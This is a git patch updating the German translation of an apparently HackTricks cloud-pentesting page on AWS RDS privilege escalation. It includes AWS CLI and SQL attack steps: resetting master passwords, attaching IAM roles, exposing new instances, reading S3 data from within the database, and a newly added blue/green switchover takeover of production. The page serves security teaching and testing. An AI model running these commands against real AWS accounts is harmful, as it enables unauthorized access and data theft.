From 93c7621185284d4a0b17880a943654f35f561fa5 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 13:30:28 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-rds-privesc/README.md | 76 ++++++++++++------- 1 file changed, 48 insertions(+), 28 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md index 183c860f4..4137ee6d5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -12,7 +12,7 @@ Für weitere Informationen zu RDS siehe: ### `rds:ModifyDBInstance` -Mit dieser Berechtigung kann ein attacker **das Passwort des master user ändern**, und den Login innerhalb der Datenbank: +Mit dieser Berechtigung kann ein Angreifer das **Passwort des Master-Benutzers ändern**, und den Login innerhalb der Datenbank anpassen: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,30 +27,30 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Du musst in der Lage sein, eine Verbindung zur Datenbank herzustellen (sie sind normalerweise nur von innerhalb von Netzwerken erreichbar). +> Sie müssen in der Lage sein, eine **Verbindung zur Datenbank** herzustellen (sie sind normalerweise nur aus internen Netzwerken erreichbar). -**Potential Impact:** Sensitive Informationen in den Datenbanken finden. +**Potenzielle Auswirkung:** Sensible Informationen in den Datenbanken finden. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +Laut den [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) könnte ein Benutzer mit dieser Berechtigung eine Verbindung zur DB-Instanz herstellen. -### Abuse RDS Role IAM permissions +### Missbrauch von RDS Role IAM-Berechtigungen #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. +> Wenn Sie **`SELECT datname FROM pg_database;`** ausführen und eine Datenbank namens **`rdsadmin`** finden, wissen Sie, dass Sie sich in einer **AWS postgresql database** befinden. -Zuerst kannst du prüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Service zuzugreifen. Du kannst das überprüfen, indem du dir die installierten Erweiterungen ansiehst: +Zuerst können Sie prüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Dienst zuzugreifen. Sie können dies überprüfen, indem Sie sich die installierten Erweiterungen ansehen: ```sql SELECT * FROM pg_extension; ``` -Wenn du etwas wie **`aws_s3`** findest, kannst du davon ausgehen, dass diese Datenbank **irgendwie Zugriff auf S3** hat (es gibt andere Erweiterungen wie **`aws_ml`** und **`aws_lambda`**). +Wenn du etwas wie **`aws_s3`** findest, kannst du davon ausgehen, dass diese Datenbank **eine Art Zugriff auf S3** hat (es gibt andere Erweiterungen wie **`aws_ml`** und **`aws_lambda`**). -Außerdem, wenn du die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du dort sehen, ob der **Cluster eine angehängte IAM Role** im Feld **`AssociatedRoles`** hat. Falls vorhanden, kannst du davon ausgehen, dass die Datenbank **vorbereitet wurde, auf andere AWS services zuzugreifen**. Anhand des **Namens der Role** (oder wenn du die **Berechtigungen** der Role herausfinden kannst) könntest du **abschätzen**, auf welche zusätzlichen Ressourcen oder Services die Datenbank Zugriff hat. +Wenn du außerdem die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du dort im Feld **`AssociatedRoles`** sehen, ob der **Cluster eine IAM Role angehängt** hat. Falls ja, kannst du davon ausgehen, dass die Datenbank **dazu vorbereitet wurde, auf andere AWS-Services zuzugreifen**. Anhand des **Namens der Role** (oder falls du die **Berechtigungen** der Role ermitteln kannst) könntest du **vermuten**, welche zusätzlichen Zugriffe die Datenbank hat. -Um nun eine Datei in einem bucket zu **lesen**, musst du den vollständigen Pfad kennen. Du kannst sie lesen mit: +Um nun **eine Datei in einem Bucket zu lesen**, musst du den vollständigen Pfad kennen. Du kannst sie mit: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Wenn Sie über **rohe AWS-Zugangsdaten** verfügen, könnten Sie diese auch verwenden, um mit folgendem Befehl auf S3-Daten zuzugreifen: +Wenn du über **raw AWS credentials** verfügtest, könntest du sie auch verwenden, um mit folgendem auf S3-Daten zuzugreifen: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **muss keine Parametergruppenvariable ändern**, um auf S3 zugreifen zu können. +> Postgresql **muss keine Variable der Parametergruppe ändern**, um auf S3 zugreifen zu können. #### Mysql (Aurora) > [!TIP] -> Wenn du dich in einer mysql befindest und die Abfrage **`SELECT User, Host FROM mysql.user;`** ausführst und es einen Benutzer namens **`rdsadmin`** gibt, kannst du annehmen, dass du dich in einer **AWS RDS mysql db** befindest. +> Innerhalb eines mysql, wenn Sie die Abfrage **`SELECT User, Host FROM mysql.user;`** ausführen und es gibt einen Benutzer namens **`rdsadmin`**, können Sie davon ausgehen, dass Sie sich in einer **AWS RDS mysql db** befinden. -Führe innerhalb der mysql **`show variables;`** aus und wenn Variablen wie **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** Werte haben, kannst du davon ausgehen, dass die Datenbank zum Zugriff auf S3 vorbereitet ist. +Innerhalb des mysql führen Sie **`show variables;`** aus und wenn Variablen wie **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** Werte haben, können Sie davon ausgehen, dass die Datenbank zum Zugriff auf S3-Daten vorbereitet ist. -Wenn du außerdem die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du prüfen, ob der Cluster eine **zugeordnete Rolle** hat, was in der Regel Zugang zu AWS-Services bedeutet). +Außerdem, wenn Sie Berechtigungen haben, **`aws rds describe-db-clusters`** auszuführen, können Sie prüfen, ob der Cluster eine **zugeordnete Rolle** hat, was normalerweise Zugriff auf AWS-Services bedeutet). -Um nun eine Datei in einem Bucket zu **lesen**, musst du den vollständigen Pfad kennen. Du kannst sie mit: +Jetzt, um **eine Datei in einem Bucket zu lesen** müssen Sie den vollständigen Pfad kennen. Sie können sie lesen mit: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBCluster` und `iam:PassRole` kann **eine angegebene Rolle zu einer vorhandenen RDS-Instanz hinzufügen**. Dies könnte dem Angreifer ermöglichen, **auf sensible Daten zuzugreifen** oder die Daten innerhalb der Instanz zu ändern. +Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBCluster` und `iam:PassRole` kann **einer bestehenden RDS-Instanz eine angegebene Rolle hinzufügen**. Dadurch könnte der Angreifer **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz verändern. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Potential Impact**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.\ -Beachte, dass einige DBs zusätzliche Konfigurationen benötigen, wie z. B. Mysql, bei denen auch die role ARN in den Parametergruppen angegeben werden muss. +**Mögliche Auswirkungen**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.\ +Beachte, dass einige DBs zusätzliche Konfigurationen erfordern, wie z. B. Mysql, bei denen die role ARN auch in den Parametergruppen angegeben werden muss. ### `rds:CreateDBInstance` -Nur mit dieser Berechtigung könnte ein Angreifer eine **neue instance inside a cluster** erstellen, die bereits existiert und eine **IAM role** zugeordnet hat. Er kann das Master-Benutzerpasswort nicht ändern, aber er könnte die neue Datenbankinstanz dem Internet zugänglich machen: +Allein mit dieser Berechtigung könnte ein Angreifer eine **neue Instanz innerhalb eines Clusters** erstellen, das bereits existiert und eine **IAM role** angehängt hat. Er kann das Passwort des Master-Benutzers nicht ändern, könnte die neue Datenbankinstanz jedoch dem Internet aussetzen: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Testen -Ein Angreifer mit den Berechtigungen `rds:CreateDBInstance` und `iam:PassRole` kann **eine neue RDS-Instanz erstellen, der eine bestimmte Rolle zugewiesen ist**. Der Angreifer kann dann möglicherweise **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz verändern. +Ein Angreifer mit den Berechtigungen `rds:CreateDBInstance` und `iam:PassRole` kann **eine neue RDS-Instanz mit einer angegebenen Rolle erstellen**. Der Angreifer kann dann möglicherweise **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz verändern. > [!WARNING] -> Einige Voraussetzungen für das anzuhängende Role-/Instance-Profile (laut [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> Einige Anforderungen an das anzuhängende role/instance-profile (aus [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): -> - Das Profil muss in Ihrem Konto existieren. -> - Das Profil muss eine IAM-Rolle enthalten, die Amazon EC2 annehmen darf. -> - Der Name des Instance-Profils und der zugehörigen IAM-Rolle müssen mit dem Präfix `AWSRDSCustom` beginnen. +> - Das Profil muss in Ihrem Konto vorhanden sein. +> - Das Profil muss eine IAM-Rolle haben, die Amazon EC2 übernehmen darf. +> - Der Name des instance profile und der zugehörige IAM-Rollenname müssen mit dem Präfix `AWSRDSCustom` . ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Potential Impact**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS instance. +**Potentielle Auswirkungen**: Zugriff auf vertrauliche Daten oder unautorisierte Änderungen der Daten in der RDS-Instanz. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBInstance` und `iam:PassRole` kann **eine angegebene Rolle zu einer bestehenden RDS instance hinzufügen**. Dadurch könnte der Angreifer **auf sensible Daten zugreifen** oder die Daten innerhalb der instance verändern. +Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBInstance` und `iam:PassRole` kann **eine angegebene Rolle zu einer bestehenden RDS-Instanz hinzufügen**. Dadurch könnte der Angreifer **auf vertrauliche Daten zugreifen** oder die Daten innerhalb der Instanz verändern. > [!WARNING] -> Die DB instance muss dafür außerhalb eines Clusters liegen. +> Die DB-Instanz muss sich dafür außerhalb eines Clusters befinden. ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` **Mögliche Auswirkungen**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz. +### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment` + +Ein Angreifer mit diesen Berechtigungen kann eine Produktionsdatenbank (Blue) klonen, der Kopie (Green) eine hochprivilegierte IAM-Rolle zuweisen und dann den Switchover verwenden, um die Produktionsumgebung zu ersetzen. Dadurch kann der Angreifer die Privilegien der Datenbank erhöhen und sich unbefugten Zugriff auf andere AWS-Ressourcen verschaffen. +```bash +# Create a Green deployment (clone) of the production cluster +aws rds create-blue-green-deployment \ +--blue-green-deployment-name \ +--source + +# Attach a high-privilege IAM role to the Green cluster +aws rds add-role-to-db-cluster \ +--db-cluster-identifier \ +--role-arn + +# Switch the Green environment to Production +aws rds switchover-blue-green-deployment \ +--blue-green-deployment-identifier +``` +**Mögliche Auswirkungen**: Vollständige Übernahme der Produktionsdatenbankumgebung. Nach der Umschaltung arbeitet die Datenbank mit erhöhten Rechten, wodurch unberechtigter Zugriff auf andere AWS-Services (z. B. S3, Lambda, Secrets Manager) von innerhalb der Datenbank möglich ist. + {{#include ../../../../banners/hacktricks-training.md}}